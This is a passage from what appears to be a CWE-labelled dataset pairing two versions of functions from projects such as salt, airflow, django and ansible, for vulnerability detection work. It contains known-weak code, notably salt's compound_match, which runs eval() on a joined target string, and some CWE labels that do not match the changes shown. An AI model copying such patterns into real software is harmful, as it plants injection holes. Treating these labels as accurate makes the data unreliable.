    group = parser.add_mutually_exclusive_group()
    group.add_argument(
        '-p', '--profile', dest='profile',
        action='store', default=None, type=str,
        help='test set profile in config to use (defaults to all tests)'
    )
    group.add_argument(
        '-t', '--tests', dest='tests',
        action='store', default=None, type=str,
        help='list of test names to run'
    )
    group.add_argument(
        '-s', '--skip', dest='skips',
        action='store', default=None, type=str,
        help='list of test names to skip'
    )
    parser.add_argument(
        '-l', '--level', dest='severity', action='count',
        default=1, help=('results severity filter. Show only issues of a given'
                         ' severity level or higher. -l for LOW,'
                         ' -ll for MEDIUM, -lll for HIGH')
    )
    parser.add_argument(
        '-i', '--confidence', dest='confidence', action='count',
        default=1, help='confidence results filter, show only issues of this '
                        'level or higher. -i for LOW, -ii for MEDIUM, '
                        '-iii for HIGH'
    )
    parser.add_argument(
        '-f', '--format', dest='output_format', action='store',
        default='screen', help='specify output format',
        choices=sorted(extension_mgr.formatter_names)
    )
    parser.add_argument(
        '-o', '--output', dest='output_file', action='store',
        default=None, help='write report to filename'
    )
    parser.add_argument(
        '-v', '--verbose', dest='verbose', action='store_true',
        help='show extra information like excluded and included files'
    )
    parser.add_argument(
        '-d', '--debug', dest='debug', action='store_true',
        help='turn on debug mode'
    )
    parser.add_argument(
        '--ignore-nosec', dest='ignore_nosec', action='store_true',
        help='do not skip lines with # nosec comments'
    )
    parser.add_argument(
        '-x', '--exclude', dest='excluded_paths', action='store',
        default='', help='Comma separated list of paths to exclude from scan. '
                         'Note that these are in addition to the excluded '
                         'paths provided in the config file.'
    )
    parser.add_argument(
        '-b', '--baseline', dest='baseline', action='store',
        default=None, help='Path to a baseline report, in JSON format. '
                           'Note: baseline reports must be output in one of '
                           'the following formats: ' + str(baseline_formatters)
    )
    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [""%s\t%s"" % (a[0], a[1].name) for a in
                   six.iteritems(extension_mgr.plugins_by_id)]

    plugin_list = '\n\t'.join(sorted(plugin_info))
    parser.epilog = ('The following plugin suites were discovered and'
                     ' loaded:\n\t{0}\n'.format(plugin_list))

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    config_file = args.config_file
    if not config_file:
        try:
            config_file = _find_config()
        except utils.NoConfigFileFound as e:
            logger.error(e)
            sys.exit(2)

    try:
        b_conf = b_config.BanditConfig(config_file)
    except (utils.ConfigFileUnopenable, utils.ConfigFileInvalidYaml) as e:
        logger.error('%s', e)
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option('log_format'):
        log_format = b_conf.get_option('log_format')
        _init_logger(debug, log_format=log_format)

    if args.tests:
        test_list = args.tests.split(',')
        test_set = set(test_list)
        all_set = set(extension_mgr.plugins_by_id)
        if not test_set.issubset(all_set):
            unknown_tests = ','.join(test_set - all_set)
            logger.error(""Unknown test ID(s) in test list: %s"", unknown_tests)
            sys.exit(2)
        profile_name = test_list
    elif args.skips:
        skip_list = args.skips.split(',')
        skip_set = set(skip_list)
        all_set = set(extension_mgr.plugins_by_id)
        if not skip_set.issubset(all_set):
            unknown_tests = ','.join(skip_set - all_set)
            logger.error(""Unknown test ID(s) in skip list: %s"", unknown_tests)
            sys.exit(2)
        profile_name = list(all_set - skip_set)
    else:
        profile_name = args.profile

    try:
        b_mgr = b_manager.BanditManager(b_conf, args.agg_type, args.debug,
                                        profile_name=profile_name,
                                        verbose=args.verbose,
                                        ignore_nosec=args.ignore_nosec)
    except utils.ProfileNotFound as e:
        logger.error(e)
        sys.exit(2)

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except IOError:
            logger.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            logger.warning('Baseline must be used with one of the following '
                           'formats: ' + str(baseline_formatters))
            sys.exit(2)

    if args.output_format != ""json"":
        logger.info(""using config: %s"", config_file)
        logger.info(""running on Python %d.%d.%d"", sys.version_info.major,
                    sys.version_info.minor, sys.version_info.micro)

    # no point running if there are no tests available
    if not b_mgr.has_tests:
        logger.error('Could not find any tests to apply, please check '
                     'the configuration.')
        sys.exit(2)

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    logger.debug(b_mgr.b_ma)
    logger.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(args.context_lines,
                         sev_level,
                         conf_level,
                         args.output_file,
                         args.output_format)

    # return an exit code of 1 if there are results, 0 otherwise
    if b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0:
        sys.exit(1)
    else:
        sys.exit(0)"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def compound_match(self, tgt):
        '''
        Runs the compound target check
        '''
        if not isinstance(tgt, basestring):
            log.debug('Compound target received that is not a string')
            return False
        ref = {'G': 'grain',
               'P': 'grain_pcre',
               'X': 'exsel',
               'L': 'list',
               'E': 'pcre'}
        results = []
        opers = ['and', 'or', 'not']
        for match in tgt.split():
            # Try to match tokens from the compound target, first by using
            # the 'G, X, L, E' matcher types, then by hostname glob.
            if '@' in match and match[1] == '@':
                comps = match.split('@')
                matcher = ref.get(comps[0])
                if not matcher:
                    # If an unknown matcher is called at any time, fail out
                    return False
                results.append(
                        str(getattr(
                            self,
                            '{0}_match'.format(matcher)
                            )('@'.join(comps[1:]))
                        ))
            elif match in opers:
                # We didn't match a target, so append a boolean operator
                results.append(match)
            else:
                # The match is not explicitly defined, evaluate it as a glob
                results.append(str(self.glob_match(match)))
        return eval(' '.join(results))",CWE-94,saltstack/salt,8ba877e619577c5ce14289e708901297a5640da9,"def compound_match(self, tgt):
        '''
        Runs the compound target check
        '''
        if not isinstance(tgt, basestring):
            log.debug('Compound target received that is not a string')
            return False
        ref = {'G': 'grain',
               'R': 'grain_pcre',
               'X': 'exsel',
               'L': 'list',
               'E': 'pcre'}
        results = []
        opers = ['and', 'or', 'not']
        for match in tgt.split():
            # Try to match tokens from the compound target, first by using
            # the 'G, X, L, E' matcher types, then by hostname glob.
            if '@' in match and match[1] == '@':
                comps = match.split('@')
                matcher = ref.get(comps[0])
                if not matcher:
                    # If an unknown matcher is called at any time, fail out
                    return False
                results.append(
                        str(getattr(
                            self,
                            '{0}_match'.format(matcher)
                            )('@'.join(comps[1:]))
                        ))
            elif match in opers:
                # We didn't match a target, so append a boolean operator
                results.append(match)
            else:
                # The match is not explicitly defined, evaluate it as a glob
                results.append(str(self.glob_match(match)))
        return eval(' '.join(results))"
,UNKNOWN,UNKNOWN,airflow/models/taskinstance.py,1,"def clear_task_instances(
    tis,
    session,
    activate_dag_runs=None,
    dag=None,
    dag_run_state: Union[str, Literal[False]] = State.RUNNING,
):
    """"""
    Clears a set of task instances, but makes sure the running ones
    get killed.

    :param tis: a list of task instances
    :param session: current session
    :param dag_run_state: state to set DagRun to. If set to False, dagrun state will not
        be changed.
    :param dag: DAG object
    :param activate_dag_runs: Deprecated parameter, do not pass
    """"""
    job_ids = []
    task_id_by_key = defaultdict(lambda: defaultdict(lambda: defaultdict(set)))
    for ti in tis:
        if ti.state == State.RUNNING:
            if ti.job_id:
                ti.state = State.SHUTDOWN
                job_ids.append(ti.job_id)
        else:
            task_id = ti.task_id
            if dag and dag.has_task(task_id):
                task = dag.get_task(task_id)
                ti.refresh_from_task(task)
                task_retries = task.retries
                ti.max_tries = ti.try_number + task_retries - 1
            else:
                # Ignore errors when updating max_tries if dag is None or
                # task not found in dag since database records could be
                # outdated. We make max_tries the maximum value of its
                # original max_tries or the last attempted try number.
                ti.max_tries = max(ti.max_tries, ti.prev_attempted_tries)
            ti.state = State.NONE
            ti.external_executor_id = None
            session.merge(ti)

        task_id_by_key[ti.dag_id][ti.execution_date][ti.try_number].add(ti.task_id)

    if task_id_by_key:
        # Clear all reschedules related to the ti to clear

        # This is an optimization for the common case where all tis are for a small number
        # of dag_id, execution_date and try_number. Use a nested dict of dag_id,
        # execution_date, try_number and task_id to construct the where clause in a
        # hierarchical manner. This speeds up the delete statement by more than 40x for
        # large number of tis (50k+).
        conditions = or_(
            and_(
                TR.dag_id == dag_id,
                or_(
                    and_(
                        TR.execution_date == execution_date,
                        or_(
                            and_(TR.try_number == try_number, TR.task_id.in_(task_ids))
                            for try_number, task_ids in task_tries.items()
                        ),
                    )
                    for execution_date, task_tries in dates.items()
                ),
            )
            for dag_id, dates in task_id_by_key.items()
        )

        delete_qry = TR.__table__.delete().where(conditions)
        session.execute(delete_qry)

    if job_ids:
        from airflow.jobs.base_job import BaseJob

        for job in session.query(BaseJob).filter(BaseJob.id.in_(job_ids)).all():
            job.state = State.SHUTDOWN

    if activate_dag_runs is not None:
        warnings.warn(
            ""`activate_dag_runs` parameter to clear_task_instances function is deprecated. ""
            ""Please use `dag_run_state`"",
            DeprecationWarning,
            stacklevel=2,
        )
        if not activate_dag_runs:
            dag_run_state = False

    if dag_run_state is not False and tis:
        from airflow.models.dagrun import DagRun  # Avoid circular import

        dates_by_dag_id = defaultdict(set)
        for instance in tis:
            dates_by_dag_id[instance.dag_id].add(instance.execution_date)

        drs = (
            session.query(DagRun)
            .filter(
                or_(
                    and_(DagRun.dag_id == dag_id, DagRun.execution_date.in_(dates))
                    for dag_id, dates in dates_by_dag_id.items()
                )
            )
            .all()
        )
        for dr in drs:
            dr.state = dag_run_state
            dr.start_date = timezone.utcnow()",CWE-89,apache/airflow,4d436182194b6d79d5a0c040d4dd07310ba74faf,"def clear_task_instances(
    tis,
    session,
    activate_dag_runs=None,
    dag=None,
    dag_run_state: Union[str, Literal[False]] = State.RUNNING,
):
    """"""
    Clears a set of task instances, but makes sure the running ones
    get killed.

    :param tis: a list of task instances
    :param session: current session
    :param dag_run_state: state to set DagRun to. If set to False, dagrun state will not
        be changed.
    :param dag: DAG object
    :param activate_dag_runs: Deprecated parameter, do not pass
    """"""
    job_ids = []
    task_id_by_key = defaultdict(lambda: defaultdict(lambda: defaultdict(set)))
    for ti in tis:
        if ti.state == State.RUNNING:
            if ti.job_id:
                ti.state = State.SHUTDOWN
                job_ids.append(ti.job_id)
        else:
            task_id = ti.task_id
            if dag and dag.has_task(task_id):
                task = dag.get_task(task_id)
                ti.refresh_from_task(task)
                task_retries = task.retries
                ti.max_tries = ti.try_number + task_retries - 1
            else:
                # Ignore errors when updating max_tries if dag is None or
                # task not found in dag since database records could be
                # outdated. We make max_tries the maximum value of its
                # original max_tries or the last attempted try number.
                ti.max_tries = max(ti.max_tries, ti.prev_attempted_tries)
            ti.state = State.NONE
            session.merge(ti)

        task_id_by_key[ti.dag_id][ti.execution_date][ti.try_number].add(ti.task_id)

    if task_id_by_key:
        # Clear all reschedules related to the ti to clear

        # This is an optimization for the common case where all tis are for a small number
        # of dag_id, execution_date and try_number. Use a nested dict of dag_id,
        # execution_date, try_number and task_id to construct the where clause in a
        # hierarchical manner. This speeds up the delete statement by more than 40x for
        # large number of tis (50k+).
        conditions = or_(
            and_(
                TR.dag_id == dag_id,
                or_(
                    and_(
                        TR.execution_date == execution_date,
                        or_(
                            and_(TR.try_number == try_number, TR.task_id.in_(task_ids))
                            for try_number, task_ids in task_tries.items()
                        ),
                    )
                    for execution_date, task_tries in dates.items()
                ),
            )
            for dag_id, dates in task_id_by_key.items()
        )

        delete_qry = TR.__table__.delete().where(conditions)
        session.execute(delete_qry)

    if job_ids:
        from airflow.jobs.base_job import BaseJob

        for job in session.query(BaseJob).filter(BaseJob.id.in_(job_ids)).all():
            job.state = State.SHUTDOWN

    if activate_dag_runs is not None:
        warnings.warn(
            ""`activate_dag_runs` parameter to clear_task_instances function is deprecated. ""
            ""Please use `dag_run_state`"",
            DeprecationWarning,
            stacklevel=2,
        )
        if not activate_dag_runs:
            dag_run_state = False

    if dag_run_state is not False and tis:
        from airflow.models.dagrun import DagRun  # Avoid circular import

        dates_by_dag_id = defaultdict(set)
        for instance in tis:
            dates_by_dag_id[instance.dag_id].add(instance.execution_date)

        drs = (
            session.query(DagRun)
            .filter(
                or_(
                    and_(DagRun.dag_id == dag_id, DagRun.execution_date.in_(dates))
                    for dag_id, dates in dates_by_dag_id.items()
                )
            )
            .all()
        )
        for dr in drs:
            dr.state = dag_run_state
            dr.start_date = timezone.utcnow()"
,UNKNOWN,UNKNOWN,tests/models/test_model.py,1,"def test_save_model_with_prompts():
    prompt_1 = mlflow.register_prompt(""prompt-1"", ""Hello, {{title}} {{name}}!"")
    time.sleep(0.001)  # To avoid timestamp precision issue in Windows
    prompt_2 = mlflow.register_prompt(""prompt-2"", ""Hello, {{title}} {{name}}!"")

    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, model_input: list[str]):
            return model_input

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            name=""test_model"",
            python_model=MyModel(),
            # The 'prompts' parameter should accept both prompt object and URI
            prompts=[prompt_1, prompt_2.uri],
        )

    assert model_info.prompts == [prompt_1.uri, prompt_2.uri]

    # Prompts should be recorded in the yaml file
    model = Model.load(model_info.model_uri)
    assert model.prompts == [prompt_1.uri, prompt_2.uri]

    # Run ID should be recorded in the prompt registry
    associated_prompts = mlflow.MlflowClient().list_logged_prompts(model_info.run_id)
    assert len(associated_prompts) == 2
    assert associated_prompts[0].name == prompt_2.name
    assert associated_prompts[1].name == prompt_1.name",CWE-703,mlflow/mlflow,02cb0398b6c74efc57419f79ce8102d2598c8f68,"def test_save_model_with_prompts():
    prompt_1 = mlflow.register_prompt(""prompt-1"", ""Hello, {{title}} {{name}}!"")
    time.sleep(0.001)  # To avoid timestamp precision issue in Windows
    prompt_2 = mlflow.register_prompt(""prompt-2"", ""Hello, {{title}} {{name}}!"")

    class MyModel(mlflow.pyfunc.PythonModel):
        def predict(self, model_input: list[str]):
            return model_input

    with mlflow.start_run():
        model_info = mlflow.pyfunc.log_model(
            name=""test_model"",
            python_model=MyModel(),
            # The 'prompts' parameter should accept both prompt object and URI
            prompts=[prompt_1, prompt_2.uri],
        )

    assert model_info.prompts == [prompt_1.uri, prompt_2.uri]

    # Prompts should be recorded in the yaml file
    model = Model.load(model_info.model_uri)
    assert model.prompts == [prompt_1.uri, prompt_2.uri]

    # Run ID should be recorded in the prompt registry
    associated_prompts = mlflow.MlflowClient().list_logged_prompts(model_info.run_id)
    assert len(associated_prompts) == 2
    assert associated_prompts[0].name == prompt_2.name
    assert associated_prompts[1].name == prompt_1.name"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_aptpkg.py,1,"def test_expand_repo_def(self):
        """"""
        Checks results from expand_repo_def
        """"""
        source_type = ""deb""
        source_uri = ""http://cdn-aws.deb.debian.org/debian/""
        source_line = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
        source_file = ""/etc/apt/sources.list""

        # Valid source
        with patch(""salt.modules.aptpkg._check_apt"", MagicMock(return_value=True)):
            repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
            sanitized = aptpkg.expand_repo_def(repo=repo, file=source_file)

            assert isinstance(sanitized, dict)
            self.assertIn(""uri"", sanitized)

            # Make sure last character in of the URI is still a /
            self.assertEqual(sanitized[""uri""][-1], ""/"")

            # Pass the architecture and make sure it is added the the line attribute
            repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
            sanitized = aptpkg.expand_repo_def(
                repo=repo, file=source_file, architectures=""amd64""
            )

            # Make sure line is in the dict
            assert isinstance(sanitized, dict)
            self.assertIn(""line"", sanitized)

            # Make sure the architecture is in line
            self.assertEqual(
                sanitized[""line""],
                ""deb [arch=amd64] http://cdn-aws.deb.debian.org/debian/ stretch main"",
            )",CWE-703,saltstack/salt,9f7e116188edf427679eb3693f243321fd7edb27,"def test_expand_repo_def(self):
        """"""
        Checks results from expand_repo_def
        """"""
        source_type = ""deb""
        source_uri = ""http://cdn-aws.deb.debian.org/debian/""
        source_line = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
        source_file = ""/etc/apt/sources.list""

        # Valid source
        with patch(""salt.modules.aptpkg._check_apt"", MagicMock(return_value=True)):
            repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
            sanitized = aptpkg.expand_repo_def(repo=repo, file=source_file)

            assert isinstance(sanitized, dict)
            self.assertIn(""uri"", sanitized)

            # Make sure last character in of the URI is still a /
            self.assertEqual(sanitized[""uri""][-1], ""/"")

            # Pass the architecture and make sure it is added the the line attribute
            repo = ""deb http://cdn-aws.deb.debian.org/debian/ stretch main\n""
            sanitized = aptpkg.expand_repo_def(
                repo=repo, file=source_file, architectures=""amd64""
            )

            # Make sure line is in the dict
            assert isinstance(sanitized, dict)
            self.assertIn(""line"", sanitized)

            # Make sure the architecture is in line
            self.assertEqual(
                sanitized[""line""],
                ""deb [arch=amd64] http://cdn-aws.deb.debian.org/debian/ stretch"",
            )"
,UNKNOWN,UNKNOWN,django/forms/forms.py,1,"def label_tag(self, contents=None, attrs=None):
        """"""
        Wraps the given contents in a <label>, if the field has an ID attribute.
        contents should be 'mark_safe'd to avoid HTML escaping. If contents
        aren't given, uses the field's HTML-escaped label.

        If attrs are given, they're used as HTML attributes on the <label> tag.
        """"""
        contents = contents or self.label
        # Only add the suffix if the label does not end in punctuation.
        if self.form.label_suffix and contents and contents[-1] not in ':?.!':
            contents = format_html('{0}{1}', contents, self.form.label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{0}>{1}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)",CWE-79,django/django,3128f3d38d1db0bc01da9a4bf4be81119079d73a,"def label_tag(self, contents=None, attrs=None):
        """"""
        Wraps the given contents in a <label>, if the field has an ID attribute.
        contents should be 'mark_safe'd to avoid HTML escaping. If contents
        aren't given, uses the field's HTML-escaped label.

        If attrs are given, they're used as HTML attributes on the <label> tag.
        """"""
        contents = contents or self.label
        # Only add the suffix if the label does not end in punctuation.
        if self.form.label_suffix:
            if contents[-1] not in ':?.!':
                contents = format_html('{0}{1}', contents, self.form.label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{0}>{1}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/system/known_hosts.py,1,"def enforce_state(module, params):
    """"""
    Add or remove key.
    """"""

    host = params[""name""]
    key = params.get(""key"",None)
    port = params.get(""port"",None)
    path = params.get(""path"")
    hash_host = params.get(""hash_host"")
    state = params.get(""state"")
    #Find the ssh-keygen binary
    sshkeygen = module.get_bin_path(""ssh-keygen"",True)

    # Trailing newline in files gets lost, so re-add if necessary
    if key and key[-1] != '\n':
        key+='\n'

    if key is None and state != ""absent"":
        module.fail_json(msg=""No key specified when adding a host"")

    sanity_check(module,host,key,sshkeygen)

    found,replace_or_add,found_line,key=search_for_host_key(module,host,key,hash_host,path,sshkeygen)

    #We will change state if found==True & state!=""present""
    #or found==False & state==""present""
    #i.e found XOR (state==""present"")
    #Alternatively, if replace is true (i.e. key present, and we must change it)
    if module.check_mode:
        module.exit_json(changed = replace_or_add or (state==""present"") != found)

    #Now do the work.

    #Only remove whole host if found and no key provided
    if found and key is None and state==""absent"":
        module.run_command([sshkeygen,'-R',host,'-f',path], check_rc=True)
        params['changed'] = True

    #Next, add a new (or replacing) entry
    if replace_or_add or found != (state==""present""):
        try:
            inf=open(path,""r"")
        except IOError:
            e = get_exception()
            if e.errno == errno.ENOENT:
                inf=None
            else:
                module.fail_json(msg=""Failed to read %s: %s"" % \
                                     (path,str(e)))
        try:
            outf=tempfile.NamedTemporaryFile(dir=os.path.dirname(path))
            if inf is not None:
                for line_number, line in enumerate(inf):
                    if found_line==(line_number + 1) and (replace_or_add or state=='absent'):
                        continue # skip this line to replace its key
                    outf.write(line)
                inf.close()
            if state == 'present':
                outf.write(key)
            outf.flush()
            module.atomic_move(outf.name,path)
        except (IOError,OSError):
            e = get_exception()
            module.fail_json(msg=""Failed to write to file %s: %s"" % \
                                 (path,str(e)))

        try:
            outf.close()
        except:
            pass

        params['changed'] = True

    return params",CWE-703,ansible/ansible,0f7abad38f3b4558400fe20eb3742603f64b939c,"def enforce_state(module, params):
    """"""
    Add or remove key.
    """"""

    host = params[""name""]
    key = params.get(""key"",None)
    port = params.get(""port"",None)
    path = params.get(""path"")
    hash_host = params.get(""hash_host"")
    state = params.get(""state"")
    #Find the ssh-keygen binary
    sshkeygen = module.get_bin_path(""ssh-keygen"",True)

    # Trailing newline in files gets lost, so re-add if necessary
    if key and key[-1] != '\n':
        key+='\n'

    if key is None and state != ""absent"":
        module.fail_json(msg=""No key specified when adding a host"")

    sanity_check(module,host,key,sshkeygen)

    found,replace_or_add,found_line,key=search_for_host_key(module,host,key,hash_host,path,sshkeygen)

    #We will change state if found==True & state!=""present""
    #or found==False & state==""present""
    #i.e found XOR (state==""present"")
    #Alternatively, if replace is true (i.e. key present, and we must change it)
    if module.check_mode:
        module.exit_json(changed = replace_or_add or (state==""present"") != found)

    #Now do the work.

    #Only remove whole host if found and no key provided
    if found and key is None and state==""absent"":
        module.run_command([sshkeygen,'-R',host,'-f',path], check_rc=True)
        params['changed'] = True

    #Next, add a new (or replacing) entry
    if replace_or_add or found != (state==""present""):
        try:
            inf=open(path,""r"")
        except IOError:
            e = get_exception()
            if e.errno == errno.ENOENT:
                inf=None
            else:
                module.fail_json(msg=""Failed to read %s: %s"" % \
                                     (path,str(e)))
        try:
            outf=tempfile.NamedTemporaryFile(dir=os.path.dirname(path))
            if inf is not None:
                for line_number, line in enumerate(inf, start=1):
                    if found_line==line_number and (replace_or_add or state=='absent'):
                        continue # skip this line to replace its key
                    outf.write(line)
                inf.close()
            if state == 'present':
                outf.write(key)
            outf.flush()
            module.atomic_move(outf.name,path)
        except (IOError,OSError):
            e = get_exception()
            module.fail_json(msg=""Failed to write to file %s: %s"" % \
                                 (path,str(e)))

        try:
            outf.close()
        except:
            pass

        params['changed'] = True

    return params"
,UNKNOWN,UNKNOWN,tests/lib3/test_representer.py,1,"def test_representer_types(code_filename, verbose=False):
    test_constructor._make_objects()
    for allow_unicode in [False, True]:
        for encoding in ['utf-8', 'utf-16-be', 'utf-16-le']:
            native1 = test_constructor._load_code(open(code_filename, 'rb').read())
            native2 = None
            try:
                output = yaml.dump(native1, Dumper=test_constructor.MyDumper,
                            allow_unicode=allow_unicode, encoding=encoding)
                native2 = yaml.load(output, Loader=test_constructor.MyLoader)
                try:
                    if native1 == native2:
                        continue
                except TypeError:
                    pass
                value1 = test_constructor._serialize_value(native1)
                value2 = test_constructor._serialize_value(native2)
                if verbose:
                    print(""SERIALIZED NATIVE1:"")
                    print(value1)
                    print(""SERIALIZED NATIVE2:"")
                    print(value2)
                assert value1 == value2, (native1, native2)
            finally:
                if verbose:
                    print(""NATIVE1:"")
                    pprint.pprint(native1)
                    print(""NATIVE2:"")
                    pprint.pprint(native2)
                    print(""OUTPUT:"")
                    print(output)","CWE-20, CWE-703",yaml/pyyaml,fa14e18b388d5b35d8c7b592850fca6c592e8d27,"def test_representer_types(code_filename, verbose=False):
    test_constructor._make_objects()
    for allow_unicode in [False, True]:
        native1 = test_constructor._load_code(open(code_filename, 'rb').read())
        native2 = None
        try:
            output = yaml.dump(native1, Dumper=test_constructor.MyDumper,
                        allow_unicode=allow_unicode)
            native2 = yaml.load(output, Loader=test_constructor.MyLoader)
            try:
                if native1 == native2:
                    continue
            except TypeError:
                pass
            value1 = test_constructor._serialize_value(native1)
            value2 = test_constructor._serialize_value(native2)
            if verbose:
                print(""SERIALIZED NATIVE1:"")
                print(value1)
                print(""SERIALIZED NATIVE2:"")
                print(value2)
            assert value1 == value2, (native1, native2)
        finally:
            if verbose:
                print(""NATIVE1:"")
                pprint.pprint(native1)
                print(""NATIVE2:"")
                pprint.pprint(native2)
                print(""OUTPUT:"")
                print(output)"
,UNKNOWN,UNKNOWN,setupbase.py,1,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components from the walk,
    # we will build the components separately
    excludes = ['components']
    
    # add 'static/' prefix to exclusions, and tuplify for use in startswith
    excludes = tuple([pjoin('static', ex) for ex in excludes])
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if parent.startswith(excludes):
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('casperjs/*.*') + glob('casperjs/*/*.js')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb']
    }
    
    # verify that package_data makes sense
    for pkg, data in package_data.items():
        pkg_root = pjoin(*pkg.split('.'))
        for d in data:
            path = pjoin(pkg_root, d)
            if '*' in path:
                assert len(glob(path)) > 0, ""No files match pattern %s"" % path
            else:
                assert os.path.exists(path), ""Missing package data: %s"" % path

    return package_data",CWE-703,jupyter/notebook,da7b32977242dca6485bf5619e11b622972a6088,"def find_package_data():
    """"""
    Find IPython's package_data.
    """"""
    # This is not enough for these things to appear in an sdist.
    # We need to muck with the MANIFEST to get this to work
    
    # exclude components from the walk,
    # we will build the components separately
    excludes = ['components']
    
    # add 'static/' prefix to exclusions, and tuplify for use in startswith
    excludes = tuple([pjoin('static', ex) for ex in excludes])
    
    # walk notebook resources:
    cwd = os.getcwd()
    os.chdir(os.path.join('IPython', 'html'))
    static_data = []
    for parent, dirs, files in os.walk('static'):
        if parent.startswith(excludes):
            continue
        for f in files:
            static_data.append(pjoin(parent, f))
    components = pjoin(""static"", ""components"")
    # select the components we actually need to install
    # (there are lots of resources we bundle for sdist-reasons that we don't actually use)
    static_data.extend([
        pjoin(components, ""backbone"", ""backbone-min.js""),
        pjoin(components, ""bootstrap"", ""bootstrap"", ""js"", ""bootstrap.min.js""),
        pjoin(components, ""font-awesome"", ""font"", ""*.*""),
        pjoin(components, ""highlight.js"", ""build"", ""highlight.pack.js""),
        pjoin(components, ""jquery"", ""jquery.min.js""),
        pjoin(components, ""jquery-ui"", ""ui"", ""minified"", ""jquery-ui.min.js""),
        pjoin(components, ""jquery-ui"", ""themes"", ""smoothness"", ""jquery-ui.min.css""),
        pjoin(components, ""marked"", ""lib"", ""marked.js""),
        pjoin(components, ""requirejs"", ""require.js""),
        pjoin(components, ""underscore"", ""underscore-min.js""),
    ])
    
    # Ship all of Codemirror's CSS and JS
    for parent, dirs, files in os.walk(pjoin(components, 'codemirror')):
        for f in files:
            if f.endswith(('.js', '.css')):
                static_data.append(pjoin(parent, f))
    
    os.chdir(os.path.join('tests',))
    js_tests = glob('casperjs/*.*') +  glob('casperjs/*/*')

    os.chdir(os.path.join(cwd, 'IPython', 'nbconvert'))
    nbconvert_templates = [os.path.join(dirpath, '*.*')
                            for dirpath, _, _ in os.walk('templates')]

    os.chdir(cwd)

    package_data = {
        'IPython.config.profile' : ['README*', '*/*.py'],
        'IPython.core.tests' : ['*.png', '*.jpg'],
        'IPython.lib.tests' : ['*.wav'],
        'IPython.testing.plugin' : ['*.txt'],
        'IPython.html' : ['templates/*'] + static_data,
        'IPython.html.tests' : js_tests,
        'IPython.qt.console' : ['resources/icon/*.svg'],
        'IPython.nbconvert' : nbconvert_templates +
            ['tests/files/*.*', 'exporters/tests/files/*.*'],
        'IPython.nbconvert.filters' : ['marked.js'],
        'IPython.nbformat' : ['tests/*.ipynb']
    }
    
    # verify that package_data makes sense
    for pkg, data in package_data.items():
